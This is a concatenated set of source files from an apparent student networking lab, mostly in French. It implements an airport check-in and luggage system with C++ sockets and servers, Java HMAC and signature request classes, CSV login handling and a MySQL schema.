System.out.println("Generation des bytes");
byte[] signature = s.sign();
System.out.println("Termine : signature construite");
System.out.println("Signature = " + new String(signature));
System.out.println("\nVérification de la signature");
/*
while (en.hasMoreElements()) {
vectaliases.add(en.nextElement());
}
Object[] aliases = vectaliases.toArray();
//OU : String[] aliases = (String []) (vectaliases.toArray(new String[0]));
for (int i = 0; i < aliases.length; i++) {
if (ks.isKeyEntry(aliasCourant = (String) aliases[i])) {
System.out.println((i + 1) + ".[keyEntry] " + aliases[i].toString());
} else if (ks.isCertificateEntry(aliasCourant)) {
System.out.println((i + 1) + ".[trustedCertificateEntry] " + aliases[i].toString()+ " ");
}
X509Certificate certif = (X509Certificate) ks.getCertificate(aliasCourant);
System.out.println("Type de certificat : " + certif.getType());
System.out.println("Nom du propriétaire du certificat : "
+ certif.getSubjectDN().getName());
System.out.println("Recuperation de la cle publique");
PublicKey cléPublique = certif.getPublicKey();
System.out.println("*** Cle publique recuperee = " + cléPublique.toString());
System.out.println("Dates limites de validité : [" + certif.getNotBefore() + " - "
+ certif.getNotAfter() + "]");
}*/
} catch (Exception e) {
e.printStackTrace();
}
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/SocketUtilities/Socket.h
#ifndef SOCKETUTILITIES_SOCKET_H
#define SOCKETUTILITIES_SOCKET_H
#include <string>
#include <ostream>
#include <sstream>
#include <iostream>
#include <netinet/tcp.h>
#include <unistd.h>
#include "../Exceptions/ErrnoException.h"
#include "../Exceptions/SocketException.h"
#include "HostInfo.h"
//#define affSocket(msg) printf("\e[32;1m******\e[0;1m [%s] \e[0m%s\n", __PRETTY_FUNCTION__, msg);fflush(stdout)
#define affSocket(msg) printf("\e[32;1m******\e[0;1m [%s] \e[0m%s\n", __FUNCTION__, msg);fflush(stdout)
class Socket {
protected:
int socketHandle;
unsigned int portNumber;
struct sockaddr_in socketAddress;
std::string separator;
size_t mtuSize;
void fetchMTU() throw(ErrnoException);
char* findDelimiter(char *buffer, int size);
public:
Socket();
Socket(unsigned int portNumber, const HostInfo &info, std::string sep) throw(ErrnoException, SocketException);
Socket(const Socket &orig);
virtual ~Socket();
unsigned int sendMessage(const char* bytesToSend, unsigned int nbBytesToSend) const throw(ErrnoException);
unsigned int sendMessage(const std::string &messageToSend) const throw(ErrnoException);
void receiveMessage(char** receivedBytes) throw(ErrnoException);
void receiveMessage(std::string &messageReceived) throw(ErrnoException);
int getSocketHandle() const;
int getPortNumber() const;
const sockaddr_in &getSocketAddress() const;
const std::string getSeparator() const;
friend std::ostream &operator<<(std::ostream &os, const Socket &socket);
};
#endif //SOCKETUTILITIES_SOCKET_H
<file_sep>/LaboReseauxBinome/Evaluation1/Application_CheckIn/CMakeLists.txt
cmake_minimum_required(VERSION 3.8)
project(Application_CheckIn)
project(Librairies)
set(CMAKE_CXX_STANDARD 11)
set(LIBRARY_SOURCE_FILES
../Librairies/SocketUtilities/HostInfo.cpp
../Librairies/SocketUtilities/HostInfo.h
../Librairies/SocketUtilities/Socket.cpp
../Librairies/SocketUtilities/Socket.h
../Librairies/SocketUtilities/ClientSocket.h
../Librairies/SocketUtilities/ClientSocket.cpp
../Librairies/SocketUtilities/ServerSocket.cpp
../Librairies/SocketUtilities/ServerSocket.h
../Librairies/Properties/Properties.h
../Librairies/Properties/Properties.cpp
../Librairies/CIMP/CIMP.h
../Librairies/CIMP/CIMP.cpp
../Librairies/Exceptions/CIMPException.h
../Librairies/Exceptions/CIMPException.cpp
../Librairies/Exceptions/CsvException.h
../Librairies/Exceptions/CsvException.cpp
../Librairies/Exceptions/PropertiesException.h
../Librairies/Exceptions/PropertiesException.cpp
../Librairies/Exceptions/SocketException.cpp
../Librairies/Exceptions/SocketException.h
../Librairies/Exceptions/ErrnoException.cpp
../Librairies/Exceptions/ErrnoException.h
../Librairies/Exceptions/HostException.cpp
../Librairies/Exceptions/HostException.h)
set(SOURCE_FILES
Launcher.cpp
Application_CheckIn.h
Application_CheckIn.cpp
ClientException.h
ClientException.cpp
QuitApp.cpp
QuitApp.h)
add_library(Librairies ${LIBRARY_SOURCE_FILES})
add_executable(Application_CheckIn ${SOURCE_FILES} ${LIBRARY_SOURCE_FILES})<file_sep>/final eclipse/Librairie/src/network/protocole/tickmap/requete/RequeteAchat.java
package network.protocole.tickmap.requete;
import java.io.IOException;
import javax.crypto.SecretKey;
import generic.server.ASecureRequete;
import network.crypto.AHMAC;
import network.crypto.ConverterObject;
import network.crypto.HMACException;
public class RequeteAchat extends ASecureRequete {
private byte[] hmac;
private boolean accepted;
private int idPassenger;
protected RequeteAchat(SecretKey key, int idPassenger, boolean accepted) throws HMACException
{
super("GET ACHAT", null);
//init hmac
this.hmac = AHMAC.hash("HMAC-MD5", "BC", key, this);
this.idPassenger = idPassenger;
this.accepted = accepted;
}
/**
*
*/
private static final long serialVersionUID = 1L;
@Override
protected void doAction()
{
//checked hmac
// checked accept
try {
if(AHMAC.verify("HMAC-MD5", "BC", this.hmac, ConverterObject.convertObjectToByte(this), this.getKeySecret()))
{
if(this.accepted)
{
//ajoute les achat dans la table ticket
}
else
{
//remet les places correctement au niveau du vol
}
}
else
{
// reponse ko
}
} catch (HMACException | IOException e) {
//reponse ko error hmac
}
}
}
<file_sep>/LaboReseauxBinome/Evaluation3/LUGAP/src/lugap/reponse/ReponseLUGAP_login.java
package lugap.reponse;
import java.io.Serializable;
import server.Reponse;
public class ReponseLUGAP_login extends Reponse implements Serializable {
private ReponseLUGAP_login(String message, boolean successful) {
super(message, successful);
}
public static ReponseLUGAP_login OK(){
return new ReponseLUGAP_login("", true);
}
public static ReponseLUGAP_login KO(String message){
return new ReponseLUGAP_login(message, false);
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Exceptions/ErrnoException.h
#ifndef EXCEPTIONS_ERRNOEXCEPTION_H
#define EXCEPTIONS_ERRNOEXCEPTION_H
#include <cerrno>
#include <cstring>
class ErrnoException : public std::exception {
protected:
std::string message;
int errnoCode;
public:
ErrnoException(int errorCode, std::string msg);
ErrnoException(int errorCode, const char *msg);
ErrnoException(const ErrnoException& orig);
virtual ~ErrnoException() throw();
virtual const char* what() const throw();
};
#endif //EXCEPTIONS_ERRNOEXCEPTION_H
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Exceptions/ErrnoException.cpp
#include <iostream>
#include "ErrnoException.h"
ErrnoException::ErrnoException(int errorCode, const std::string msg) : std::exception() {
this->message = msg + "[" + strerror(errorCode) + "]";
this->errnoCode = errorCode;
}
ErrnoException::ErrnoException(int errorCode, const char *msg) : std::exception() {
this->message = std::string(msg) + "[" + strerror(errorCode) + "]";
this->errnoCode = errorCode;
}
ErrnoException::ErrnoException(const ErrnoException &orig) : std::exception(orig) {
this->message = orig.message + "[" + strerror(orig.errnoCode) + "]";
this->errnoCode = orig.errnoCode;
}
ErrnoException::~ErrnoException() throw() {}
const char* ErrnoException::what() const throw(){
return this->message.c_str();
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CSV/CsvHandler.h
#ifndef CSV_CSVHANDLER_H
#define CSV_CSVHANDLER_H
#include <sstream>
#include <fstream>
#include <vector>
#include <string>
#include <algorithm>
#include "../Exceptions/CsvException.h"
using namespace std;
class CsvHandler {
private:
string filePath;
string separator;
streampos lastPos;
mutable pthread_mutex_t mutexCsvFile;
public:
CsvHandler(string filePath, string sep);
virtual ~CsvHandler();
void resetPos();
int getNbRecords() const throw(CsvException);
const string getNextRecord()throw(CsvException);
const bool hasNextRecord() const throw(CsvException);
void writeRecord(string record) const throw(CsvException);
void writeRecords(vector<string> records) const throw(CsvException);
const string createRecord(const vector<string> &fields) const;
const vector<string> getFields(string record) const;
const string &getSeparator() const;
};
#endif //CSV_CSVHANDLER_H
<file_sep>/part_3/Evaluation3(ancien)/BD_AIRPORT/createDatabase.sql
DROP TABLE IF EXISTS `BD_AIRPORT`.`luggage`,
`BD_AIRPORT`.`ticket`,
`BD_AIRPORT`.`passenger`,
`BD_AIRPORT`.`flight`,
`BD_AIRPORT`.`airplane`,
`BD_AIRPORT`.`airline`,
`BD_AIRPORT`.`agent`,
`BD_AIRPORT`.`job`;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`job` (
`idjob` int(11) NOT NULL,
`name` varchar(100) NOT NULL,
PRIMARY KEY (`idjob`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`agent` (
`login` varchar(50) NOT NULL,
`password` varchar(50) NOT NULL,
`lastname` varchar(50) NOT NULL,
`firstname` varchar(50) DEFAULT NULL,
`fk_idjob` int(11) NOT NULL,
PRIMARY KEY (`login`),
KEY `fk_job` (`fk_idjob`),
CONSTRAINT `fk_job` FOREIGN KEY (`fk_idjob`) REFERENCES `BD_AIRPORT`.`job` (`idjob`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`airline` (
`idairline` varchar(3) NOT NULL,
`name` varchar(100) NOT NULL,
PRIMARY KEY (`idairline`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`airplane` (
`idairplane` int(11) NOT NULL,
`fk_idairline` varchar(3) NOT NULL,
`etat` varchar(45) DEFAULT 'check_OK',
PRIMARY KEY (`fk_idairline`,`idairplane`),
CONSTRAINT `fk_airline` FOREIGN KEY (`fk_idairline`) REFERENCES `BD_AIRPORT`.`airline` (`idairline`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`flight` (
`fk_idairplane` int(11) NOT NULL,
`fk_idairline` varchar(3) NOT NULL,
`departure` date NOT NULL,
`destination` varchar(50) NOT NULL,
`takeOffTime` time DEFAULT NULL,
`scheduledLanding` time DEFAULT NULL,
`actualLanding` time DEFAULT NULL,
PRIMARY KEY (`fk_idairplane`,`fk_idairline`,`departure`,`destination`),
KEY `fk_airplane` (`fk_idairline`,`fk_idairplane`),
CONSTRAINT `fk_airplane` FOREIGN KEY (`fk_idairline`,`fk_idairplane`) REFERENCES `BD_AIRPORT`.`airplane` (`fk_idairline`, `idairplane`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`passenger` (
`idpassenger` varchar(14) NOT NULL,
`lastname` varchar(30) DEFAULT NULL,
`firstname` varchar(30) NOT NULL,
PRIMARY KEY (`idpassenger`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`ticket` (
`fk_idairplane` int(11) NOT NULL,
`fk_idairline` varchar(3) NOT NULL,
`fk_departure` date NOT NULL,
`fk_destination` varchar(50) NOT NULL,
`idticket` int(11) NOT NULL,
`fk_idpassenger` varchar(14) NOT NULL,
`nbaccompagnant` int(11) NOT NULL,
PRIMARY KEY (`fk_idairplane`,`fk_idairline`,`fk_departure`,`fk_destination`,`idticket`),
KEY `fk_passenger` (`fk_idpassenger`),
CONSTRAINT `fk_passenger` FOREIGN KEY (`fk_idpassenger`) REFERENCES `BD_AIRPORT`.`passenger` (`idpassenger`),
CONSTRAINT `ticket_ibfk_1` FOREIGN KEY (`fk_idairplane`,`fk_idairline`,`fk_departure`,`fk_destination`) REFERENCES `BD_AIRPORT`.`flight` (`fk_idairplane`, `fk_idairline`, `departure`, `destination`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`luggage` (
`fk_idairplane` int(11) NOT NULL,
`fk_idairline` varchar(3) NOT NULL,
`fk_departure` date NOT NULL,
`fk_destination` varchar(50) NOT NULL,
`fk_idticket` int(11) NOT NULL,
`idluggage` int(11) NOT NULL,
`weight` FLOAT NOT NULL DEFAULT 0.0,
`isluggage` TINYINT(1) NULL DEFAULT 1,
`received` CHAR((1) NOT NULL DEFAULT 'N',
`loaded` CHAR(1) NOT NULL DEFAULT 'N',
`checkedbycustom` CHAR(1) NOT NULL DEFAULT 'N',
`comments` varchar(255) NOT NULL DEFAULT 'NEANT',
PRIMARY KEY (`fk_idairplane`,`fk_idairline`,`fk_departure`,`fk_destination`,`fk_idticket`,`idluggage`),
CONSTRAINT `fk_ticket` FOREIGN KEY (`fk_idairplane`,`fk_idairline`,`fk_departure`,`fk_destination`,`fk_idticket`) REFERENCES `BD_AIRPORT`.`ticket` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `idticket`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CSV/LuggageCsvHandler.cpp
#include "LuggageCsvHandler.h"
LuggageCsvHandler::LuggageCsvHandler(const string filePath, const string sep) {
this->csvHandler = new CsvHandler(filePath, sep);
}
LuggageCsvHandler::~LuggageCsvHandler() {
delete this->csvHandler;
}
bool LuggageCsvHandler::saveLuggageEntry(luggageStruct luggage) {
stringstream ss1;
ss1 << luggage.ticketNumber + this->csvHandler->getSeparator();
ss1 << luggage.weight + this->csvHandler->getSeparator();
ss1 << (luggage.isLuggage? "VALISE" : "PASVALISE");
this->csvHandler->writeRecord(ss1.str());
return true;
}
bool LuggageCsvHandler::saveLuggageEntries(vector<luggageStruct> luggages) {
stringstream ss1;
vector<string> records;
int i=1;
for(luggageStruct luggage : luggages) {
ss1 << luggage.ticketNumber + this->csvHandler->getSeparator() << setfill('0') << setw(10) << i++;
ss1 << luggage.weight + this->csvHandler->getSeparator();
ss1 << (luggage.isLuggage ? "VALISE" : "PASVALISE");
records.reserve(1);
records.push_back(ss1.str());
ss1.clear();
ss1.str(string());
}
this->csvHandler->writeRecords(records);
return true;
}
<file_sep>/LaboReseauxBinome/Evaluation1/Serveur_CheckIn/Serveur_CheckIn.cpp
#include "Serveur_CheckIn.h"
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wmissing-noreturn"
Serveur_CheckIn::Serveur_CheckIn(const char *propertiesFilePath) {
this->readConfigFile(propertiesFilePath);
affServeur(2, "Acquiring host information...");
this->hostInfo = new HostInfo(this->host.c_str());
cout << *(this->hostInfo) << endl;
affServeur(2, "Getting SocketEcoute ready...");
this->socketEcoute = new ServerSocket(this->port, *(this->hostInfo), this->tramEnding, this->maxNbClient);
cout << *(this->socketEcoute) << endl;
}
Serveur_CheckIn::~Serveur_CheckIn() {
printf("\n");
affServeur(2, "Shutting down server...");
/*** Envoie le signal de fermeture aux threads (pas immédiat) ***/
affServeur(2, "Sending kill signal to all threads...");
for(pthread_t thread : this->tabThread){
pthread_kill(thread, SIGUSR1);
// pthread_detach(thread);
}
/*** Attend que les threads soient tous arrêté ***/
// affServeur(2, "Waiting for all threads to die...");
// for(pthread_t thread : this->tabThread){
// pthread_join(thread, nullptr);
// }
affServeur(2, "Destroying CIMP...");
delete this->cimp;
affServeur(2, "Destroying socketService...");
delete this->socketService;
affServeur(2, "Destroying mutex and cond...");
pthread_cond_destroy(&(this->condNbConnectedClients));
pthread_mutex_destroy(&(this->mutexNbConnectedClients));
affServeur(2, "Destroying socketEcoute...");
delete this->socketEcoute;
affServeur(2, "Destroying hostInfo...");
delete this->hostInfo;
}
void Serveur_CheckIn::readConfigFile(const char *propertiesFilePath) throw(ServerException) {
string temp;
affServeur(1, "Opening configuration file...");
Properties properties(propertiesFilePath, "=");
if((this->host=properties.getValue("HOST")).length() == 0)
throw ServerException("Serveur_CheckIn::readConfigFile() >> Properties.getValue() : HOST");
if((temp=properties.getValue("PORT_CHCK")).length() == 0)
throw ServerException("Serveur_CheckIn::readConfigFile() >> Properties.getValue() : PORT_CHCK");
this->port = static_cast<unsigned int>(atoi(temp.c_str()));
if(this->port == 0)
throw ServerException("Serveur_CheckIn::readConfigFile() >> Error, the value for PORT_CHCK is either invalid or 0.");
if((this->tramEnding=properties.getValue("TRAM_END")).length() == 0)
throw ServerException("Serveur_CheckIn::readConfigFile() >> Properties.getValue() : TRAM_END");
if((this->tramSeparator=properties.getValue("TRAM_SEP")).length() == 0)
throw ServerException("Serveur_CheckIn::readConfigFile() >> Properties.getValue() : TRAM_SEP");
if((temp=properties.getValue("MAX_NB_CLIENTS")).length() == 0)
throw ServerException("Serveur_CheckIn::readConfigFile() >> Properties.getValue() : MAX_NB_CLIENTS");
this->maxNbClient = static_cast<unsigned int>(atoi(temp.c_str()));
if(maxNbClient == 0)
throw ServerException("Serveur_CheckIn::readConfigFile() >> Error, the value for MAX_NB_CLIENTS is either invalid or 0.");
if((this->csvSeparator=properties.getValue("CSV_SEP")).length() == 0)
throw ServerException("Serveur_CheckIn::readConfigFile() >> Properties.getValue() : CSV_SEP");
if((this->dbPath=properties.getValue("DB_PATH")).length() == 0)
throw ServerException("Serveur_CheckIn::readConfigFile() >> Properties.getValue() : DB_PATH");
if((this->loginFilePath=properties.getValue("LOGIN_DB_FILE")).length() == 0)
throw ServerException("Serveur_CheckIn::readConfigFile() >> Properties.getValue() : LOGIN_DB_FILE");
this->loginFilePath = this->dbPath + this->loginFilePath;
if((this->ticketFilePath=properties.getValue("TICKET_DB_FILE")).length() == 0)
throw ServerException("Serveur_CheckIn::readConfigFile() >> Properties.getValue() : TICKET_DB_FILE");
this->ticketFilePath = this->dbPath + this->ticketFilePath;
}
void Serveur_CheckIn::init() throw(ErrnoException) {
affServeur(2, "Initializing server...");
stringstream ss;
this->socketService = nullptr;
this->socketEcoute->bind();
pthread_mutex_init(&(this->mutexNbConnectedClients), nullptr);
pthread_cond_init(&(this->condNbConnectedClients), nullptr);
affServeur(2, "Initializing CIMP protocol...");
cimp = new CIMP(this->tramSeparator);
affServeur(2, "Creating pool of threads...");
pthread_mutex_lock(&(this->mutexNbConnectedClients));
this->tabThread.reserve(this->maxNbClient);
cout << "MAXNB=" << this->maxNbClient;
for (unsigned int i=0; i < this->maxNbClient; i++) {
this->tabThread.push_back(pthread_t());
if(pthread_create(&this->tabThread[i], nullptr, fctThread, (void *) this) !=0) {
ss.clear();
ss << "void Serveur_CheckIn::init() >> Failed to create thread[" << i + 1 << "].";
throw ErrnoException(errno, ss.str());
}
ss.clear();
ss.str(string());
ss << "Thread n°" << i+1 << " created.";
affServeur(2, ss.str().c_str());
}
pthread_mutex_unlock(&(this->mutexNbConnectedClients));
pthread_cond_signal(&(this->condNbConnectedClients));
affServeur(2, "Initializing done!");
}
void Serveur_CheckIn::run() throw(ServerException) {
affServeur(2, "Starting server...");
stringstream ss;
unsigned long i;
do{
affServeur(2, "Starting listening for incoming connection...");
this->socketEcoute->listen();
affServeur(2, "Waiting for a client...");
this->socketService = this->socketEcoute->accept();
affServeur(2, "A client just connected!");
affServeur(2, "Searching for a free socket...");
pthread_mutex_lock(&(this->mutexNbConnectedClients));
i = this->tabConnectedSocket.size() + this->maxNbClient;
if(i > SOMAXCONN){
affServeur(2, "No available socket has been found.");
try{
this->socketService->sendMessage(cimp->encodeDOC("Sorry, no available socket has been found."));
}catch(const ErrnoException &ex){
stringstream ss1;
ss1 << "Serveur_CheckIn::run() >> Failed to send DOC (no free socket available).";
ss1 << "[" << ex.what() << "]";
throw ServerException(ss1.str());
}
close(this->socketService->getSocketHandle());
}
else{
affServeur(2, "A socket is available for the client!");
try{
this->socketService->sendMessage(cimp->encodeOK());
}catch(const ErrnoException &ex){
ss.clear();
ss << "Serveur_CheckIn::run() >> Failed to send OK after finding a free socket.";
ss << "[" << ex.what() << "]";
throw ServerException(ss.str());
}
affServeur(2, "Letting a thread continue the conversation with the client...");
this->tabConnectedSocket.push_back(new Socket(*(this->socketService)));
this->newSocketHasBeenAdded = true;
pthread_mutex_unlock(&(this->mutexNbConnectedClients));
pthread_cond_signal(&(this->condNbConnectedClients));
}
}while(true);
}
#pragma clang diagnostic pop<file_sep>/final eclipse/Librairie/src/generic/server/IRequete.java
package generic.server;
import database.utilities.Access;
import network.communication.Communication;
public interface IRequete {
public Runnable createRunnable(Runnable parent, Communication c, IConsoleServeur consoleServeur, Access db);
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CSV/LoginCsvHandler.cpp
#include "LoginCsvHandler.h"
LoginCsvHandler::LoginCsvHandler(const string filePath, const string sep) {
this->csvHandler = new CsvHandler(filePath, sep);
}
LoginCsvHandler::~LoginCsvHandler() {
delete this->csvHandler;
}
const bool LoginCsvHandler::isValid(string username, string password) const {
bool isValid = false;
string credential;
this->csvHandler->resetPos();
while(this->csvHandler->hasNextRecord() && !isValid){
credential = this->csvHandler->getNextRecord();
if( this->csvHandler->getFields(credential).size() ==2 &&
username == this->csvHandler->getFields(credential)[0] &&
password == this->csvHandler->getFields(credential)[1]) {
isValid = true;
}
}
return isValid;
}
<file_sep>/final eclipse/Librairie/src/network/serveur/LUGAP/RunnableLUGAP.java
package network.serveur.LUGAP;
import java.sql.SQLException;
import database.utilities.Access;
import generic.server.ARequete;
import generic.server.IConsoleServeur;
import network.communication.Communication;
import network.communication.communicationException;
import network.protocole.lugap.reponse.Reponse_Baggages;
import network.protocole.lugap.reponse.Reponse_MAJ_champ;
import network.protocole.lugap.reponse.Reponse_Vols;
import network.protocole.lugap.reponse.Reponse_login;
import network.protocole.lugap.requete.Requete_Baggages;
import network.protocole.lugap.requete.Requete_MAJ_ChampChargement;
import network.protocole.lugap.requete.Requete_MAJ_ChampCheckedCustom;
import network.protocole.lugap.requete.Requete_MAJ_ChampComment;
import network.protocole.lugap.requete.Requete_MAJ_ChampRecevoir;
import network.protocole.lugap.requete.Requete_Vols;
import network.protocole.lugap.requete.Requete_login;
import network.protocole.lugap.requete.Requete_logout;
public class RunnableLUGAP implements Runnable {
private final PoolThread parent;
private final IConsoleServeur guiApplication;
private final Communication c;
private final Access db;
private Class<?> previousRequete;
private boolean finTransaction;
private boolean clientConnected;
RunnableLUGAP(PoolThread parent, IConsoleServeur guiApplication, Communication c, Access db) throws communicationException {
this.parent = parent;
this.guiApplication = guiApplication;
this.c = c;
this.db = db;
}
@Override
public void run() {
boolean failedToConnect;
this.finTransaction = false;
try {
this.db.connect();
failedToConnect = false;
} catch (ClassNotFoundException | SQLException ex) {
failedToConnect = true;
}
try
{
while(!this.finTransaction)
{
ARequete req = this.c.receive(ARequete.class);
System.out.println("Received request type : " + req.getClass().toString());
if(failedToConnect)
{
this.c.send(Reponse_login.KO("Server could not connect to the database."));
finTransaction();
}
else
{
Runnable runnable = req.createRunnable(this.parent, this.c, this.guiApplication, this.db);
if(req instanceof Requete_login)
{
runnable.run();
if(req.requeteSucceeded()){
setClientIsConnected();
previousRequete = Requete_login.class;
}
}
else if(req instanceof Requete_logout)
{
runnable.run();
finTransaction();
previousRequete = null;
}
else if(req instanceof Requete_Vols)
{
if( !isClientConnected())
this.c.send(Reponse_Vols.KO("Please connect first!"));
else{
runnable.run();
previousRequete = Requete_Vols.class;
}
}
else if(req instanceof Requete_Baggages)
{
if( !isClientConnected() || !previousRequete.equals(Requete_Vols.class))
this.c.send(Reponse_Baggages.KO("Please do a getFlights first!"));
else{
runnable.run();
previousRequete = Requete_Baggages.class;
}
}
else if(req instanceof Requete_MAJ_ChampRecevoir || req instanceof Requete_MAJ_ChampChargement
|| req instanceof Requete_MAJ_ChampCheckedCustom || req instanceof Requete_MAJ_ChampComment)
{
if( !isClientConnected() || !previousRequete.equals(Requete_Baggages.class))
this.c.send(Reponse_MAJ_champ.KO("Please do a getLuggages first!"));
else
runnable.run();
}
}
}
this.db.commit();
this.guiApplication.TraceEvenements(this.c.getSocket().getRemoteSocketAddress().toString()
+ "#Commit successful"
+ "#LUGAPRunnable");
} catch (communicationException | SQLException ex) {
this.guiApplication.TraceEvenements(this.c.getSocket().getRemoteSocketAddress().toString()
+ "#" + ex.getMessage()
+ "#LUGAPRunnable");
try {
this.db.rollback();
this.guiApplication.TraceEvenements(this.c.getSocket().getRemoteSocketAddress().toString()
+ "#Rollback successful"
+ "#LUGAPRunnable");
} catch (SQLException ex1) {
this.guiApplication.TraceEvenements(this.c.getSocket().getRemoteSocketAddress().toString()
+ "#" + ex.getMessage()
+ "#LUGAPRunnable");
}
}
}
private void finTransaction(){
this.finTransaction = true;
}
private boolean isClientConnected(){
return this.clientConnected;
}
private void setClientIsConnected(){
this.clientConnected = true;
}
}
<file_sep>/part_3/Application_Bagages/src/Socket/BouncyCastleDigest.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package Socket;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.security.Security;
import java.util.Date;
import org.bouncycastle.jce.provider.BouncyCastleProvider;
/**
*
* @author jona1993
*/
public class BouncyCastleDigest {
private static final String codeProvider = "BC";
private MessageDigest md;
private long temps;
private double random;
private ByteArrayOutputStream baos;
private DataOutputStream bdos;
public BouncyCastleDigest() throws NoSuchAlgorithmException, NoSuchProviderException
{
Security.addProvider(new BouncyCastleProvider());
baos = new ByteArrayOutputStream();
bdos = new DataOutputStream(baos);
md = MessageDigest.getInstance("SHA-512",codeProvider);
temps = (new Date()).getTime();
random = Math.random();
}
public byte[] CreateDigest(String user, String pwd) throws IOException
{
md.update(user.getBytes());
md.update(pwd.getBytes());
temps = (new Date()).getTime();
random = Math.random();
bdos.writeLong(temps);
bdos.writeDouble(random);
md.update(baos.toByteArray());
byte[] msgD = md.digest();
return msgD;
}
public byte[] ReceiveDigest(String user, String digestion, long tps, double alea) throws IOException
{
System.err.println("In RcvDigest: " + user + " " + digestion + " " + tps + " " + alea);
md.update(user.getBytes());
md.update(digestion.getBytes());
bdos.writeLong(tps);
bdos.writeDouble(alea);
md.update(baos.toByteArray());
return md.digest();
}
public double getRandom() {
return random;
}
public long getTemps() {
return temps;
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Application_CheckIn/Launcher.cpp
#include <iostream>
#include <csignal>
#include "Application_CheckIn.h"
#include "QuitApp.h"
void fonctionSig(int);
Application_CheckIn *application_checkIn;
using namespace std;
int main(int argc, char* argv[]) {
if(argc < 2) {
cerr << "Please provide the properties file as argument when launching me!" << endl;
exit(1);
}
affOut("Launcher starting...");
struct sigaction sa;
sa.sa_handler = fonctionSig;
sa.sa_flags = 0;
sigemptyset(&sa.sa_mask);
sigaction(SIGINT, &sa, nullptr);
try{
application_checkIn = new Application_CheckIn(argv[1]);
application_checkIn->run();
}catch(const QuitApp &ex){}
catch(const exception &ex){
affErr(ex.what());
}
delete application_checkIn;
affOut("Application is closing.");
affOut("Good bye!");
affEmptyLine();
return 0;
}
void fonctionSig(int signal){
affOut("Signal received : calling ~application_checkIn()...");
delete application_checkIn;
affOut("Application is closing.");
affOut("Good bye!");
affEmptyLine();
exit(0);
}<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/cmake-build-debug/CMakeFiles/Application_CIAChat.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/Application_CIAChat.dir/Launcher.cpp.o"
"CMakeFiles/Application_CIAChat.dir/Application_CIAChat_IN.cpp.o"
"CMakeFiles/Application_CIAChat.dir/IACOP.cpp.o"
"CMakeFiles/Application_CIAChat.dir/IACOPException.cpp.o"
"CMakeFiles/Application_CIAChat.dir/QuitApp.cpp.o"
"CMakeFiles/Application_CIAChat.dir/ClientException.cpp.o"
"CMakeFiles/Application_CIAChat.dir/Message.cpp.o"
"CMakeFiles/Application_CIAChat.dir/MulticastSocket.cpp.o"
"CMakeFiles/Application_CIAChat.dir/ThreadReception.cpp.o"
"CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o"
"CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o"
"CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.o"
"CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.o"
"CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.cpp.o"
"CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.cpp.o"
"CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.cpp.o"
"CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.cpp.o"
"Application_CIAChat.pdb"
"Application_CIAChat"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/Application_CIAChat.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/part_1/CheckIn-Cli/Client.c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include "Network-Cli.h"
//#include "Client.conf"
#include "Network-Cli.h"
int PORT = 0;
int SIZEBUF = 0;
int soc;
int main()
{
FILE* config;
config = fopen("Client.conf", "r+");
fseek(config, 5, SEEK_SET);
char port[6], sizebuf[6];
fgets(port, 6, config);
PORT = atoi(port);
